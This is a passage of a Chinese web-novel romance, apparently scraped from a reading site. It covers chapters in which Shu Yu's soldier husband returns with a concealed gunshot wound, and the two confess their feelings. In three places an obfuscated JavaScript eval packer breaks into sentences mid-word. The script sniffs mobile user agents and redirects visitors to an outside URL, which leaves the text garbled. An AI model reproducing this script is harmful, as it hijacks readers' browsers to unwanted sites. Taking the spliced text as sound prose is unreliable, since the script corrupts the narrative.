听着耳边温柔低缓的声线,舒瑜心里的不安和忐忑散去了些许。 第二天她心里压着这事,厉关岳一掀被子她就醒了,倒让厉关岳一愣。 舒瑜跟着要起来:“我送你出门。” 厉关岳无奈中心情却很好:“继续睡吧。” 舒瑜没听,厉关岳出了家门,舒瑜站在门口朝他挥手:“五哥,注意安全。”她再次叮嘱。 厉关岳笑:“好,你快进去吧,早上凉。” …… 厉关岳离家后的第一天,舒瑜还没什么感觉,白天她一个人在家,和往常一样,画画、看书、喂毛毛,时间很快就过去了。 到了傍晚,她照例等明淮放学回家,晚饭炒了个青菜,又炖了一碗蒸蛋,上面淋了点酱油,明淮混着饭吃得津津有味。 一切都和平时一样。 可到晚上,夜幕降临,舒瑜透过窗看了眼天上的繁星点点,随后关紧窗户。 她躺在床上,翻来覆去睡不着。 床很大,被子很宽,身边空荡荡的,总觉得少了什么,舒瑜把被子裹紧了些,可还是凉,明明她睡前泡了脚,可还是暖不了被窝。 而且泡脚也很麻烦,要烧水,再打凉水混合到合适的温度,泡完要拎着重重的桶出去把水倒了,一通下来,舒瑜倒累得不行。 静谧的黑夜里,舒瑜一个人躺着,身旁再无温暖的热源,她睁着眼,脚好像已经非常习惯地往旁边一伸,触到的是一片冰凉。 她马上缩了回来。 舒瑜不禁叹气:“好不习惯啊。”她怎么好像有些离不开他了。 不适应只两天,舒瑜就打起精神来了。 日子总得过,厉关岳不在又如何,她总能和以前一样把自己和明淮照顾好。 白天明淮去上学,她就坐在窗边画画。 画本已经慢慢变成了一本贴合这个年代的服装设计册,裙子、裤子、外套、上衣,每天都有新的巧思。 刚开始她的设计总是透着挥之不去的她在现代的习惯与风格,她慢慢修改,将之与这个年代结合,不出格,却亮眼。 舒瑜对此很认真,不只把这当做了每天的消遣,她心里隐隐想着,以后环境好了,说不定可以继续以此为事业。 这天下午,她画累了放下笔,伸了个懒腰,衣服随着动作一扯,胸口就有些发闷。 舒瑜皱眉。 家里只她一个人,舒瑜回到房间脱下外衣,里面的束胸背心绷得过分紧了,甚至勒出一道浅浅的印子。 这件背心好像小了很多,勒得她有些喘不过气。 不对,不适背心小了,是她大了呀! 舒瑜又惊又喜,她本来以为自己这辈子就是个飞机场了,原来是营养不够,没发育完全啊。 跟着厉关岳来随军后,她吃得好,厉关岳又给她买了红糖、鸡蛋、红枣桂圆之类的,有意无意地给她补身体。 这不,营养上来了,迟来的发育也开始了。 舒瑜心里美滋滋的,随即又犯起愁来。 这年头,女生都流行束胸,大了反而麻烦,毕竟现在连那种基础的胸罩还没有,就算有也极其难买,供销社里根本买不到。 不过这可难不倒她。 之前的浅黄布料还剩下一块,里面则用柔软些的白色棉布。 她量好尺寸,裁了两块圆形的布片,又裁了两条长长的布带做肩带,一条宽些的做底围。 最难搞定的是胸垫。 棉花难得,舒瑜只能从棉被里匀出来一些,洗干净,再压扁晒干。 她将棉花用两层棉布正反面包住,边缘缝合后又在表面用白线分隔成一个个小格子,把棉花固定住,避免穿着穿着棉花片便堵成一团。 两片胸垫做好,塞进内衣背心前方留好的小口里,再把口子缝上,最后固定好肩带和底围。 样式算不上精致,但胜在舒服,比勒人的束胸背心强多了。 她试穿一下,大小正好,便洗干净晒起来。 不知不觉间,半个月过去了。 窗外毛毛在院子里踱步,向日葵已经冒出了小苗,长出了嫩绿的叶子,在风中轻轻晃。 毛毛有时候想啃,被舒瑜制止几回,便学乖了,不再盯着向日葵苗。 舒瑜数着日子,头几天还沉得住气,该画画画画的。 等到了第二十天,舒瑜就开始坐不住了,没事就往院门口望一眼。 又过了几天,连舒明淮都忍不住问了:“小姑,厉叔叔什么时候回来?” 舒瑜只能摸摸他的脑袋,安慰道:“应该快了,我们再等等。” 话说得轻松,可她心里的慌乱怎么也压不下去,晚上躺在床上,翻来覆去睡不着,脑子里总是冒出些乱七八糟的念头。 想多了,心里慌张,又一遍遍告诉自己没事的,别多想。 舒瑜叹气,都说军嫂难做,她这才真的理解,即使是她,都数着日子天天担心,觉得日子难捱,更遑论那些真夫妻。 这天晚上,舒瑜睡前脱去外衣,她不习惯穿着内衣睡觉,双臂交叉就要褪下衣服。 只听门“咯吱”一响。 舒瑜汗毛直竖,心跳重重漏了一拍,本能地抱住被子往身上一裹,张嘴就要叫。 还好她及时看清了来人,才没有打扰到邻居。 他半边身子隐在门后的阴影里,一只手还搭在门把上。 昏黄的灯光只照亮他半边脸,下颌紧绷着,连惯常笑着的嘴角都拉平了,眉眼间带着掩不住的疲惫。 人好像瘦了一圈,颧骨轮廓比走之前明显了些,眼眶眉骨清晰,衬得那双眼睛越发深邃。 厉关岳没想到推门的一瞬,入眼的是她大片的肌肤。 昏黄的灯光下,她坐在床上,一头长发散在肩头,几缕乌发垂在脸颊边,被子堪堪遮住胸口,两条细细的带子挂在她肩头。 灯光打在她身上,厉关岳眉心重重一跳,头一回为自己优越的视力而懊恼。 他猛地转过身去,动作猛地扯到了左肩,他闷哼了一声,声音暗哑:“抱歉。” 舒瑜哪里还顾得上害羞,她三两下套上衣服,踩着鞋靠近他,却在半米外停住了。 “五哥,你回来了!”她声音都在发抖。 厉关岳还背对着她,绷紧了肩膀。 舒瑜深吸一口气:“五哥,我穿好衣服了。” 厉关岳这才慢慢转过身来。 他脸上没什么血色,嘴唇干得起皮,眼底青黑,带着奔波后的憔悴。 舒瑜鼻子一酸,急急地问:“你怎么才回来,有没有受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350323|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤?” 舒瑜的微微泛红的眼眶,映在厉关岳眼底,他张了张嘴,否认受伤的话在舌尖打了个转,被咽了回去。 “只受了点小伤。”他说,“已经好得差不多了,这才出院回来。” 舒瑜抿紧唇:“嗯。” 厉关岳:“别担心,没事了。” 舒瑜点点头,没再说话,她低着头,头发从肩上滑下来,遮住了半边脸。 厉关岳站了片刻,开口,声音发涩,心脏也有些发紧。 他一个多月没见她了,才三十来天,怎么就这样了? 他怎么会这样? 半晌,他说:“休息吧,下回我会记得敲门。” 舒瑜没动。 她低着头,忽然往前迈了一步,抬手环住了他的腰。她的额头刚好到他锁骨的位置,发顶蹭着他的下巴,带着淡淡的香。 厉关岳整个人僵住了。 舒瑜把脸埋在他胸口,闷声道:“我和明淮都很担心你。” 厉关岳垂眼,看着怀里那颗毛茸茸的脑袋。她瘦瘦小小的,手臂环在他腰间,也没什么力气,也许他只需要轻轻一动,就能挣开。 但他没有。 厉关岳动了动手指,慢慢抬起右手,掌心贴上她的后脑,轻轻拍了拍。 “别怕,我没事。” 这一晚舒瑜睡得很沉,许是这些天积攒的不安终于落了地,她睡着后就无意识地往厉关岳那边靠,整个人几乎贴在他身侧,一只手搭在他腰上。 厉关岳没怎么睡着,左肩的伤隐隐作痛,他侧着身,尽量不压到那边。 舒瑜靠过来的时候,他只庆幸伤的是左肩,不然肯定瞒不住。 他中了枪,只万幸没打中要害,送医也及时,医生说恢复得不错,可到底是枪伤,没那么快长好。 舒瑜以为的“小伤”是擦伤刮伤之类,顶多缝几针。 第二天早上,厉关岳没去部队,他说上面让他先把伤养好。 早饭是舒瑜去食堂买回来的,正吃着呢,他们敞开的大门外站着个四十来岁的女人,穿着军装,一头短发一丝不苟。 这时,厉关岳从厨房里出来,看见来人,心头一跳。 他对舒瑜介绍:“这位是赵师长的夫人。” “胡嫂子,这是我媳妇,舒瑜。” 舒瑜打招呼:“胡嫂子。” 胡淑燕笑着对舒瑜道:“咱还是第一次见吧。” 舒瑜:“是啊,胡嫂子快进来坐。”她招呼着,又进厨房去倒水。 胡淑燕对舒瑜好脾气,对厉关岳可就不客气了:“伤还没好利索就出院,老赵说你不听劝。” “这枪伤可得好好养,落了毛病可不是闹着玩的。” 枪伤。 舒瑜听见这两个字,手轻轻抖了一下,她把茶杯放到桌上,面上没什么表情,只淡淡地看了厉关岳一眼。 她眼中好似没什么波澜,却让厉关岳莫名不敢与她对视。 “老赵给你批了假,先养着,不急着归队。”胡嫂子接过茶杯,又看向舒瑜,语气温和,“弟妹,关岳这伤,吃食上可要注意些,辛辣刺激的不能碰,发物也别吃。” 舒瑜认真地听着,一样一样记在心里,她又主动问了几个问题,什么能吃,什么不能吃,换药要注意什么。 胡淑燕作为护士长,自然懂这些,一一答了。 聊了一会儿,胡淑燕起身告辞,舒瑜送她出门,两人走到院门口。 “多谢胡嫂子了。”舒瑜道,“五哥他什么都不跟我说。” 胡嫂子叹了口气,压低声音:“关岳这孩子,别看他外表温温吞吞的,其实性子要强得很。” “他是在外面做的手术,来不及回我们军区医院,住院那几天,医生说要通知家属,他不让。” “他是怕你奔波。” 舒瑜勉强一笑。 胡嫂子拍拍她的手:“我家老赵也这样,一根筋的,只能咱们多担待。” 舒瑜再次道谢。 送走胡嫂子,毛毛悠闲地走过来,蹭了蹭她的小腿。 舒瑜蹲下摸摸它,毛茸茸的触感让她心情好些了:“还是你乖。” 只有他厉关岳最不乖。 36. 第三十六章 舒瑜把碗筷收了,端进厨房。 水流哗哗地响,她低着头洗碗,心里闷闷的,像堵了团湿重的棉花。 这些日子的担忧,翻来覆去睡不着的夜晚,全化成一股说不清道不明的气,堵在胸口,上不去下不来。 她洗完碗出来,厉关岳还坐在桌边,垂着头,不知在想什么,他额边的发丝凌乱,看着不如平时冷静自持。 听见动静,他抬起头,站了起来,似是要靠近她。 舒瑜却没理他,转向正往书包里塞课本的舒明淮:“明淮,今天小姑送你上学。” 舒明淮嘴里嚼着半个鸡蛋,闻言腮帮子一鼓一鼓,飞快咽下。 “舒瑜……”厉关岳开口,声音干涩。 舒瑜没应,只盯着舒明淮,明淮压力山大,偷偷瞥了一眼厉关岳,觉得高高大大的厉叔叔这时候看着有些可怜。 其实舒瑜也知道,自己这股气来得没头没脑。 胡嫂子说的有道理,厉关岳是不想她担心,怕她奔波,人家一片好心,她反倒在这里甩脸子。 可是、可是这些日子的担忧总不是假的。 她数着日子,晚上睡不着,白天坐不住,嘴里都急出了那两个溃疡。 说到底,人家什么都不告诉你,是觉得没必要,你帮不上忙,知道了也只是干着急。 他娶她,本来就是看她可怜,一方面也是为了明淮。 之前他说得清清楚楚:没有感情,但会尽到一个丈夫的责任。 她不是那个可以让他依靠的人。 反倒是他,处处在照顾她,帮她解决陈志鹏,带她离开老家,给她买衣服买手表,给她烧水泡脚、按摩腿。 人家做得够好了,你生什么气?你有什么资格生气? 你以什么身份生气? 舒瑜站在那里,难受地自己把自己哄好了。 她吸了口气,转过头,语气尽量如常:“五哥,你注意伤口,好好休息,我送明淮上学。” 舒明淮终于把最后一口鸡蛋咽下去,跳下凳子,抓起书包就往门口跑:“小姑,不用啦,我和赵应松约好了一起去学校!” “哎——”舒瑜伸手去拦,那小子已经蹿出门了,书包在背上一颠一颠的,跑得飞快,毛毛都被他惊得从窝里站起来,疑惑地叫了两下。 家里里只剩下他们两个。 舒瑜和厉关岳对视上,厉关岳还站在桌边,视线好像一直徘徊在她身上。 “要不要回房间躺会儿?”她语气平平,“胡嫂子说你得静养着。” 厉关岳看着她,嘴唇动了动,想说什么。 他看得出她在得知他受了枪伤后是生气的,现在虽看着冷静,但…… “抱歉,”厉关岳想解释,“我……” “我知道。”舒瑜打断他,浅浅地笑了笑,笑容只在嘴角停留一秒,“你是为我考虑。” 厉关岳皱起眉,明明舒瑜理解了他的行为逻辑,可为什么他心里头就是觉得怪怪的。 他这些年从军,这不是第一次受伤,以前都是自己扛过去的,去卫生站处理包扎,包扎完回宿舍躺着。 要是受了比较重的伤,也就是在医院躺着。 其实厉关岳躺在手术台上,意识消失的那一秒,脑海中浮现的是舒瑜的身影,他醒来后回想,连自己都觉得不可思议。 没有通知舒瑜,一方面确实是不想让舒瑜奔波,况且家里还有明淮。 另一方面,厉关岳是想好好想清楚,他对她,到底是怎么一回事。 舒瑜没事找事地去给院子里的菜苗浇水,其实昨天已经浇过了,只是她突然不想面对厉关岳。 怎么办,她好像有点喜欢厉关岳。 这情感像一颗种子,不知道什么时候被偷偷埋下,又不知不觉地发芽抽条,长成了大树。 可是厉关岳呢,他是怎么想的? 她是他名义上的妻子,是需要照顾的兄弟的妹妹,是明淮的小姑,是他责任的一部分? 他说过,是把她当妹妹的。 他说得很清楚。 舒瑜闭了闭眼。 喜欢就喜欢吧,反正也没人知道,她只要当好这个妻子,照顾好明淮,不给他添麻烦,就好了。 她深吸一口气,水瓢扔回桶里。 男人就是惹人心烦。 中午,厉关岳在看书。 “五哥,”舒瑜问,“中午想吃什么,我去食堂打。” 厉关岳观察她的脸色,好似已经忘了早上生的气了。 他垂下眼:“都行。” 他们两个人面对面坐着吃饭,舒瑜打的都是清淡的菜。 厉关岳:“不用都迁就我,你打些自己喜欢吃的。” 舒瑜夹起清炒胡萝卜放进嘴里:“我都喜欢吃的。” 厉关岳加了一筷子肉片到她碗里,温声道:“吃肉。” 厉关岳好似有意无意地在讨好舒瑜。 舒瑜冷眼看着,却是更加来气。 就是这样,他对她很好,总是这么照顾她,人又好看,哪里能怪她心动。 可偏偏,他只是把她当妹妹照顾。 都怪臭男人勾引她。 下午,有人在外面叫他们:“嫂子,在家吗?” 舒瑜去开门,是李成。 他拎着一个鼓囊囊的军绿色布包。 “嫂子好。”李成笑着打招呼,“这是纱布和伤药。 舒瑜接过包,让他进来坐,喝杯茶再走。,李成连忙摆手,往后退了一步:“不麻烦嫂子了,首长的伤还得辛苦嫂子观察换药。” 舒瑜点点头:“应该的。” 李成走后,舒瑜把布包递给厉关岳:“你先回房,我去洗个手。” 舒瑜认认真真洗干净手,回房间,在他面前站定。 胡嫂子说他的伤最好每天观察换药,防止感染。 舒瑜:“把衣服脱了吧。” 厉关岳抬头看她一眼,不知是不是舒瑜的错觉,她竟觉得他那眼神有些可怜。 厉关岳用右手单手去解领口的扣子,他左肩不是动不了,只是抬起时会有一点点疼。 其实这点痛根本不算什么,可是…… 厉关岳慢慢解着衣扣。 舒瑜叹气,上前一步,手指搭上他的衬衣。 她低着头,专心致志地解着纽扣,厉关岳没有拒绝,只微微一笑,视线自然地聚焦在她微颤的睫毛上。 解开扣子,舒瑜提着他的衣领,小心地往下褪,他的白衬衣从左肩滑下来,露出底下缠得整整齐齐的绷带。 衣服便半褪不褪地堆在他臂弯处,露出精瘦有力的腰腹和宽阔的肩线。 舒瑜没心思欣赏。 那雪白的绷带上,渗出了点点血迹,红得刺眼,她屏息,伸手去解绷带的结,小心翼翼地一圈一圈慢慢拆开。 最后几层绷带,有点粘在伤口上,她不敢硬扯,只能用棉签蘸了药水,一点一点润湿,再轻轻揭下来。 伤口完全暴露出来,边缘的皮肤微微红肿,深处了些液体。 舒瑜鼻子一酸,手上动作却没停,她拿干净的纱布蘸了药水,轻轻擦去伤口表面的液体。 她手很轻很稳,涂上药,再用新的纱布盖上,重新缠好绷带。 她做这些的时候,始终低着头,睫毛掩去眼底的神思,让他看不清她的神色。 绷带缠好,舒瑜松了口气,扭开脸,伸手去拉他臂弯里的衬衣,想帮他把衣服穿回去。 刚碰到衣料,她的手腕就被他一把握住。 厉关岳的手掌干燥温热,圈住她细细的腕骨,力道不大,却是舒瑜挣扎不开的。 “小鱼,”他叫她,声音又低又哑,“我现在不能洗澡,能不能就擦一下?”好几天没洗澡,厉关岳也受不了了。 舒瑜瞪他一眼:“别那么叫我。” 她抽回手,站起来就往门外走,步子很快,像是在躲避什么。 舒瑜淡淡留下一句:“我去烧水。” 厉关岳看着她的背影,嘴角动了动,苦笑了一下。 水烧好了,舒瑜兑好凉水,端着盆回到房。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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舒瑜瞪着他冷笑道:“平时不肯穿,受伤了开始倒自讨苦吃。”背心要从头上套下去,左肩一抬就得扯到伤口,哪里比得上带扣子的方便。 舒瑜去翻衣柜,柜子里叠着他们两个的衣服,她翻出一件蓝色的衬衣。 她把衣服递过去:“穿这个吧。” 厉关岳接过来,这衣服很新,是他从前没见过的。 “新买的?” 舒瑜蹲下收拾脸盆:“我做的。” 厉关岳:“辛苦了。” 舒瑜把毛巾搭在盆沿上:“嗯。” 晚上,舒瑜照例烧了水泡脚,她提着桶正往房间走,厉关岳从屋里出来,他伸手要来接:“我来。” 舒瑜侧了侧身,避开他的手:“你注意点!” 厉关岳一愣,听见她说:“不用你,我自己来。” 舒瑜双手提着桶,摇摇晃晃地往屋子里走,水在桶里晃荡,溅了几滴出来,洇湿了她的鞋面。 她用着力,面上不自觉咬牙,侧脸微微鼓起,像只抱着一颗巨大松果的小松鼠,磕磕绊绊地进了屋。 厉关岳看着她的背影消失在门后,眉头慢慢皱起来。 他右手好好的,又不是废了,一桶水而已,怎么就不要他拎了? 以前都不会是这样的。 厉关岳也不知道自己为什么不高兴。 舒瑜说不用他,是怕他扯着伤口,是为他好,他知道的。 可他忍不住。 他跟着回了屋,面无表情地在她身边坐下。 舒瑜倒好水,试了试温度,把脚泡进去,热气从脚底升起来,暖烘烘的。 “五哥?” “嗯?” “热水还有,你要不要也泡一下?” “不用。” 发什么神经? 舒瑜白他一眼,“哦”了一声,没再说话。 屋里安静下来。 水微凉,趁着舒瑜擦脚,厉关岳突然起身,拎起泡脚桶就走。 舒瑜一愣,抿起了唇。 37. 第三十七章 厉关岳倒掉水回来。 他推门进屋,舒瑜已经躺在了被窝里,正背对着他,蜷在床边,就贴着床沿,离他平时睡的那边隔了老远。 她一只手搭在额头上,挡着灯光,像是已经睡着了,其实是拒绝交流。 厉关岳在床边站了一会儿,才轻叹一口气,慢慢躺下去,木床“咯吱”几声,他躺在自己那半边,中间空出的地方宽得甚至能再睡一个人。 他面上闪过一丝犹豫,还有一点他自己都没察觉的无措。 厉关岳知道舒瑜在生气,只是他没有哄人的经验,一时间手足无措。 他张了张嘴,又闭上。 实际上舒瑜却不似厉关岳看到的那样生气。 舒瑜把脸藏在臂弯里,双眸异常明亮,藏着几分忐忑和期待。 她有心试探,可身后却一点动静都没有,她又等了一会儿,心里的期待像如同燃烧的蜡烛,慢慢融化熄灭。 他是不是根本不在乎? 舒瑜不由得失望,她咬住嘴唇,压住心里翻涌的情绪。 可下一秒,舒瑜只觉得眼前一暗,她愣住,还没来得及反应,厉关岳的气息已经笼罩过来。 他撑着手臂,从上方靠近,将她困在床沿和他身体之间,一头是悬空的床沿,一边是他宽阔的身躯,她无处可退,只能仰面看着他。 逆着光,有些看不清他的表情,只能感觉到他的目光徘徊在她脸上。 “小鱼,“他唤她,“是我不好。” 他主动了。 舒瑜心里的气慢慢散去,可她还是挪开眼,淡淡地说出想了很久的话。 “厉关岳,我一直都很感激你。”她话语一顿,轻声道,“如果你只是把我当做一个值得同情才施以援手的对象,你不愿意把自己的事告诉我,那我理解,你不用道歉。” 厉关岳急切道:“不是!” 舒瑜转回目光,直直地凝视着他的眼睛:“那是什么?” 厉关岳的呼吸重了几分,他在心里措辞,面上不知不觉带出点红。 “我对你不是同情。”他缓缓地一字一句道,声音很温柔。 “是喜欢你。” 舒瑜捂住脸,但没有移开视线。 她听见厉关岳缓声道:“我喜欢你。” 他温柔地望着舒瑜:“那你呢?你喜欢我吗?” 舒瑜没来得及回答,他又凑近了些,气息打在她捂着脸的手背上,痒痒的。 见舒瑜不语,厉关岳歪头,坚持不懈地问:“嗯?” “喜欢我吗?” 舒瑜咽了口口水,心脏剧烈跳动,她不得已用手捂住,似乎害怕他听到,暴露了自己慌乱的心绪。 “喜、喜欢。” 厉关岳笑了。 他胸膛震动,喉见溢出低沉的笑声,带着沙哑的声线,昏暗的光线下,他嘴角愉悦的笑意若隐若现。 “那不生气了好不好?” 舒瑜觉得自己的脸在烧,耳朵也在烧,浑身上下都在发热。 厉关岳说:“以后不会了。”他尾音勾着笑意,很明显带着哄人的意思。 舒瑜脑子晕乎乎的,什么气都忘了,她只觉得自己好像被他的声音裹住了,挣脱不开,也不想挣开。 她迷迷糊糊地“嗯”了一声。 舒瑜能感觉到他的气息拂过她的额头,一瞬之间,他退开了些,重新躺回去,同时拍了拍中间的空隙:“谁过来点,小心掉下去。” 舒瑜被弄得脸红心跳,她往中间挪了挪。 既然互相表明了心意,那接下来,应该要抱抱或者亲亲了吧? 嘿嘿嘿,电视剧里都是这样放的。 “我熄灯了。”厉关岳提醒道,示意舒瑜该睡觉了。 舒瑜一愣。 什么? 这就结束了? 她不可置信地扭头,入眼的是一片黑暗。 虽然他们没有你侬我侬的,但也是互相告白了,怎么这就完了? 拜托,这老男人这么没情趣的吗? 真白白浪费了他这张俊脸。 舒瑜在心里狠狠吐槽,坚决不肯承认自己其实很想跟他贴贴。 可厉关岳他呼吸平稳,一动不动躺着,跟没有世俗欲望似的,她的情绪也一下子冷淡下来了。 不公平。 她被撩得脸红心跳,这家伙却收放自如,跟没事人一样。 舒瑜愤愤不平。 她不知道的是,黑暗里厉关岳的眼睛睁着,他也根本睡不着,只能盯着天花板。 他的胸口起伏比平时略快些,只是刻意压着呼吸,没让她听出来。 她红扑扑的脸、水润润的眼睛,在他脑子里转了一圈又一圈,像某人捏着羽毛随随便便轻拂他的心脏,便让他溃不成军,只能用尽全力忍耐。 厉关岳握紧了拳头。 他不想表现出自己的攻击性,奋力按捺住想把人揉进怀里的冲动。 害怕吓着她。 毕竟他在她面前表现出来的,一直都是温和好说话的厉关岳,她应该喜欢这样的他。 厉关岳这才飞快地按灭了灯,只要看不见就能冷静了。 算了,灯熄了就睡觉吧。 舒瑜闭上眼,强迫自己入睡。 可十来分钟过去,她依旧精神充沛,脑子里像在放电影似的,克制不住地回放厉关岳说那些话的模样。 她猛地睁开眼。 不行! 凭什么只有她被撩得睡不着? 舒瑜轻手轻脚地翻了个身,把被子掀开一角,小心翼翼地往厉关岳那边蹭。 她自以为无声无息地钻进厉关岳的被子里。 厉关岳自然不会忽视身边的动静,他慢慢睁开眼,扭过头。 舒瑜用手肘往上蹭,两个人近在咫尺,她的呼吸轻轻落在他下巴上,温温热热的,离得够近,雪花膏的味道也掩盖不住她本身的香气。 “厉关岳。”她用气音喊他,轻得掩饰不住自己动若擂鼓的心跳。 厉关岳喉结上下起伏:“嗯?” 黑暗中,舒瑜动作飞快,头一伸,嘴一撅,在他脸颊上重重地“啵”了一口。 亲到了人,舒瑜心里舒坦了,她心满意足地缩回去,窝在厉关岳身边,裹紧被子闭上眼。 舒瑜心道:“这下可以安心睡觉了。” 厉关岳感受到脸颊上那柔软的触感,顿时瞳孔微震,脑子里紧绷着的弦“啪”地一声断开。 厉关岳飞快打开灯。 舒瑜被突如其来的光亮刺得眯起了眼,正要抬头,一只手覆上来。 他温暖干燥的掌心遮住了她的眼睛,舒瑜下意识覆上他的手背,想要推开。 “五——”哥。 舒瑜话都没说完,厉关岳伏在她身上,低头吻住了她。 她的唇很软,舌尖轻触,她就害怕地缩了回去,他放缓动作,轻咬她的下唇。 她的睫毛在他掌心下颤动,像蝴蝶在振翅,似是有些慌张。 但吻她的这个男人,是她喜欢的人。 舒瑜冷静下来,轻轻回吻。 一刹那,火星蹿入木头堆,瞬间燃烧了一切。 厉关岳不再试探,手掌从她眼睛上移开,扣住她的后脑,手指插进她的头发里轻抚。 他加重了力道,碾磨、吮吸,带着一丝压抑已久后肆意发泄的意味。 舒瑜刚开始还回应得挺来劲,狠狠嘬了他几下,以示自己也不是好欺负的。 可到底体质没他好,才亲了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360590|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没十分钟就有些喘不过气,她胸口剧烈起伏着,鼻息急乱。 厉关岳察觉到,放缓了动作,轻轻含住她的下唇,慢慢厮磨,安抚着她。 她被他带着微微仰起头,呼吸全被他吞进去,整个人像被泡在温水里,浑身都软得使不上劲,推也推不开,只能攥住他的衣领。 厉关岳用了所有的忍耐力,强迫自己与她的唇分开,额头抵着她的,呼吸急促。 他的目光落在她被吻得泛红的唇上,难耐地上移,望入她水汽氤氲的眼睛里。 “小鱼。”厉关岳声线说不清的黏腻,两个字被他唤得“藕断丝连”。 舒瑜脑子一片空白,说不出什么话,只能注视他的眼睛,那双总是温和、克制、沉稳的双眸,此刻却晦暗不已。 厉关岳看着她这副被亲傻了似的模样,低低地笑了两声,又重新吻下去。 他不是嗜甜的人,但此刻,却怎么也吃不够。 不知过了多久,舒瑜嘴巴麻麻的,趁着厉关岳微微抬起头换气,连忙捂住嘴,声音含含糊糊:“不来了,嘴疼!” 她投降! 真的够了,再亲下去明天嘴该肿了。 厉关岳手指委屈,轻轻抚顺她因为刚才有些激烈的动作而逐渐凌乱的发丝。 一时间,他的呼吸也无法完全平复,空气中,两人略微急促的呼吸声交织。 “睡吧。”厉关岳轻声说,声音里藏着几分餍足的愉悦。 第二天。 舒明淮一大早起来,偷偷地观察了一番小姑的脸色。 昨天厉叔叔受伤,小姑不高兴,他可全看在眼里,两个人变得好奇怪,让他连早饭都吃得格外难受别扭。 可今天大家好像都变回去了。 小姑眉眼舒展着,跟厉叔叔说话语气也软和了。 舒明淮轻轻松了口气。 太好啦,今天不用去学校,他也不用想办法溜出去了。 舒瑜从柜子里翻出那罐橘子罐头,思及厉关岳手有伤,她去厨房想拿刀试试能不能撬开。 厉关岳的注意力根本离不开她,他跟着进去,皱眉:“小心点。” “给我。” 厉关岳接过罐头,轻松打开,无奈地看着她:“我没那么脆弱。” 舒瑜嘿嘿一笑,先拿了明淮的小碗,倒了三分之一进去,递给他:“去外面桌上吃吧。” 舒明淮乖乖接过碗,跑到堂屋去了。 舒瑜自己吃了一口:“我就吃一口,剩下的都给你。” 她舀了一勺橘子果肉递到厉关岳嘴边,弯着眼睛笑道:“快吃,别让明淮看见了说我偏心你。” 厉关岳失笑,就着她的手吃了那一口:“酸,不吃了。” 舒瑜疑惑地又尝了一口:“不酸啊,挺甜的。” 厉关岳只笑,不说话。 舒瑜睨他一眼,把罐头往他手里一塞:“哼,让你吃你就吃!” “要不看在你受伤了的份上,还没这待遇呢!” 说完她转身出了厨房。 前两天洗衣服的时候发现明淮的裤子破了,得给他补上。 舒瑜正踩着缝纫机,专注地沿着破洞边缘走线。 不一会儿,身边突然多了把椅子,厉关岳端着橘子罐头坐在她身旁。 他舀了一勺橘子,递到她嘴边,舒瑜眼睛没离开缝纫机,歪头叼走,嘴里嚼着,手上动作也不停。 没踩两下踏板,勺子又伸了过来…… 舒明淮吃完自己的那份,抬头正好看见这一幕:厉叔叔坐着,一勺一勺地喂小姑吃橘子罐头,偶尔自己吃上一口。 明淮砸吧砸吧嘴巴,心道:“水果罐头真好吃。”肚子吃得抱抱的。 等会儿还是去找赵应松玩吧。 38. 第三十八章 “舒妹子,在家吗?” 吴小铃的大嗓门清晰地传进屋子里,舒瑜正在房间里叠衣服,听见动静连忙应了一声:“在的!” 她放下手里的活,站起来就往门口走,扬声问道:“吴姐有事吗?” 吴小铃已经进了院子,手里拎着一小截腊肉,大约巴掌长,她脸上还带着不好意思的笑:“我是想借你家缝纫机用用,补两件衣服。” 吴小铃臂弯里挂着的几件衣裳,舒瑜摆摆手:“姐你来用就成,腊肉就不用了,多大点事。” 吴小铃不让,直接把腊肉塞进她手里,爽利道:“拿着拿着,上回在你家吃饭,一直没机会谢你。”肉虽是稀罕东西,可她家也不缺这一口。 “这腊肉我上回腌得多,家里还有不少呢!” 舒瑜推了两下没推掉,便收下了。 邻居之间有来有往,对方好相处,她心情也好,笑着招呼吴小铃进屋:“那行,姐你进来用,缝纫机在里边。” 吴小铃跟着她进去,厉关岳正从屋里出来,舒瑜顺手把腊肉递给他:“放厨房去。”又指了着缝纫机,“嫂子,在这儿,我给你把线穿上。” 吴小铃坐下来,把三件衣服摊开,两件是孩子的,两条裤子膝盖都破着大洞,还有一件是魏刚的衬衫,袖口的线开裂了。 吴小铃暗骂:“这倒霉孩子,天天在外面野!” 吴小铃手脚麻利,踩着缝纫机嗒嗒嗒地走线,边缝边和舒瑜聊天。 “厉团长的伤怎么样了?”吴小铃问,“老魏和我说厉团长中了弹,可给我吓一跳。” 说起这个,舒瑜已经不生气了,只无奈道:“每天换药呢,伤口恢复得还行。” “偏偏他还不肯告诉我,真叫人担心。” 吴小铃:“唉,我刚嫁给老魏也是,他一出任务我就一个人在家东想西想的,就怕人有个好歹,现在倒也习惯了。” “老魏倒不会瞒着我,他要伤了,可不得哭爹喊娘的。” 厉关岳听着外头妻子和吴嫂子的聊天,要迈出厨房的步子一顿,决定还是不要在妻子面前晃悠,省的又惹她生气。 他轻手轻脚地走回房间,舒瑜余光瞥到,想着还是在吴姐面前给他留些面子,便假装没看到。 